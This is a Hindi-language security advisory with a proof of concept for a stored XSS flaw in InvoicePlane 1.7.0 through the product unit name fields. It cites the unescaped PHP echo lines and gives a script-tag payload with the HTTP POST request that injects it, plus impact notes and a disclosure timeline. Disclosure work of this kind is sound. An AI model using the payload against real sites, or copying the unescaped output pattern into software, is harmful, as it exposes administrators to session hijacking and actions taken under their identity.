
InvoicePlane 1.7.0 में उत्पाद इकाई नाम फ़ील्ड के माध्यम से संग्रहीत XSS भेद्यता के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जिसमें भेद्य कोड स्थान और पुनरुत्पादन चरण शामिल हैं।
भेद्यता: उत्पाद इकाई नाम फ़ील्ड के माध्यम से संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS)
उत्पाद: InvoicePlane
प्रभावित संस्करण: 1.7.0 (और संभवतः पिछले संस्करण)
गंभीरता: मध्यम
CVSS 3.1 स्कोर: 4.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N)
CWE: CWE-79: वेब पेज जनरेशन के दौरान इनपुट का अनुचित न्यूट्रलाइज़ेशन
खोजकर्ता: Leonidas Agathos
रिपोर्ट दिनांक: 2026-01-31
उत्पाद इकाई फ़ॉर्म (/index.php/units/form) में unit_name और unit_name_plrl फ़ील्ड बिना सैनिटाइज़ेशन के मनमाना इनपुट स्वीकार करते हैं। मान संग्रहीत किए जाते हैं और किसी भी इनवॉइस को देखते समय इनवॉइस आइटम सूची में बिना एन्कोडिंग के प्रस्तुत किए जाते हैं जिसमें दुर्भावनापूर्ण इकाई का उपयोग करने वाला उत्पाद शामिल होता है।
भेद्य फ़ाइलें:
application/modules/invoices/views/partial_itemlist_table.php:127application/modules/invoices/views/partial_itemlist_responsive.php:71// partial_itemlist_table.php - Line 127
<?php echo $unit->unit_name . '/' . $unit->unit_name_plrl; ?>
// partial_itemlist_responsive.php - Line 71
<?php echo $unit->unit_name . '/' . $unit->unit_name_plrl; ?>
चरण 1 — इकाई नाम में पेलोड इंजेक्ट करें
/index.php/units/form पर नेविगेट करें और इकाई नाम के रूप में निम्नलिखित सबमिट करें:
<script>alert("XSS in Product Unit")</script>
अनुरोध:
POST /index.php/units/form/1 HTTP/1.1
Host: 172.25.0.12
Content-Type: application/x-www-form-urlencoded
_ip_csrf=...&btn_submit=1&is_update=1&unit_name=%3Cscript%3Ealert%28%22XSS+in+Product+Unit%22%29%3C%2Fscript%3E&unit_name_plrl=tests

चरण 2 — XSS ट्रिगर करें
/index.php/products/form/1 पर नेविगेट करें या उत्पाद वाला कोई भी इनवॉइस देखेंआइटम सूची प्रस्तुत होने पर पेलोड सक्रिय हो जाता है।

पेलोड किसी भी व्यवस्थापक के ब्राउज़र में निष्पादित होता है जो दुर्भावनापूर्ण इकाई वाले इनवॉइस या उत्पाद पृष्ठ को देखता है। यह सत्र अपहरण (यदि कुकीज़ HttpOnly नहीं हैं), CSRF टोकन चोरी, और पीड़ित की पहचान के तहत किए गए कार्यों को सक्षम बनाता है।
| दिनांक | घटना |
|---|---|
| 2026-01-30 | भेद्यता की खोज |
| 2026-01-31 | प्रमाण की अवधारणा विकसित |
| 2026-01-31 | विक्रेता को सूचित किया गया |
| 2026-02-04 | विक्रेता की स्वीकृति |
| 2026-02-04 | पैच जारी |
| 2026-02-05 | सार्वजनिक प्रकटीकरण |
यह भेद्यता स्वतंत्र सुरक्षा अनुसंधान के दौरान खोजी गई थी। सभी जानकारी केवल शैक्षिक, अनुसंधान और रक्षात्मक उद्देश्यों के लिए प्रदान की गई है ताकि विक्रेता और सुरक्षा समुदाय को समस्या को समझने और ठीक करने में सहायता मिल सके। इस जानकारी का कोई भी दुर्भावनापूर्ण उपयोग सख्त वर्जित है।